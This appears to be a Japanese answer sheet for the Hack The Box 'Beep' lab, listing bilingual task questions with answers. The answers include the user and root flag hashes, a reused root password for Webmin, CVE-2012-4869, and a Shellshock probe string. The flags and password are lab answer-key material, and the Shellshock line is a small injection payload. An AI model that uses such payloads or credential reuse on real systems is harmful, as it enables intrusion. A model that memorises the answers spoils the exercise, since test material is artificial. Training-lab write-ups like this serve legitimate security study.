問題(日本語訳):fanis ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:a3e16b209b2ca3155a6668db29e640e8
※「/home/fanis/user.txt」の内容。


・Submit Root Flag

問題(英語訳):Submit the flag located in root's home directory.
問題(日本語訳):ルートのホームディレクトリにあるフラグを送信します。

答え:1344f80d83e6a262793ff142d282b856
※「/root/root.txt」の内容。


・Task 9

問題(英語訳):There are many other ways to root Beep. These questions after the root flag are hints to help identify them. What is the 2012 CVE ID for pre-authentication remote code execution vulnerablity in FreePBX / Elastix?
問題(日本語訳):Beepをルート化する方法は他にもたくさんあります。ルートフラグの後の質問は、ルート化の方法を特定するためのヒントです。FreePBX / Elastixにおける認証前リモートコード実行脆弱性の2012年のCVE IDは何ですか?

答え:CVE-2012-4869


・Task 10

問題(英語訳):What password from the PBX config also works to log in as root to the Webmin application listening on TCP 10000?
問題(日本語訳):TCP 10000 でリッスンしている Webmin アプリケーションに root としてログインするためにも機能する PBX 設定のパスワードは何ですか?

答え:jEhdIekWmdjE


・Task 11

問題(英語訳):What is the common name for the set of 2014 CVEs where this is a POC exploit: () { :; };sleep 10?
問題(日本語訳):これが POC エクスプロイトである 2014 CVE セットの一般的な名前は何ですか: () { :; };sleep 10?

答え:shellshock


・Task 12

問題(英語訳):What is the full path to the asterisk user's mail folder on Beep?
問題(日本語訳):Beep 上の asterisk ユーザーのメール フォルダーへの完全なパスは何ですか?

答え:/var/mail/asterisk



関連記事(Hack The Box)

※後日作成予定。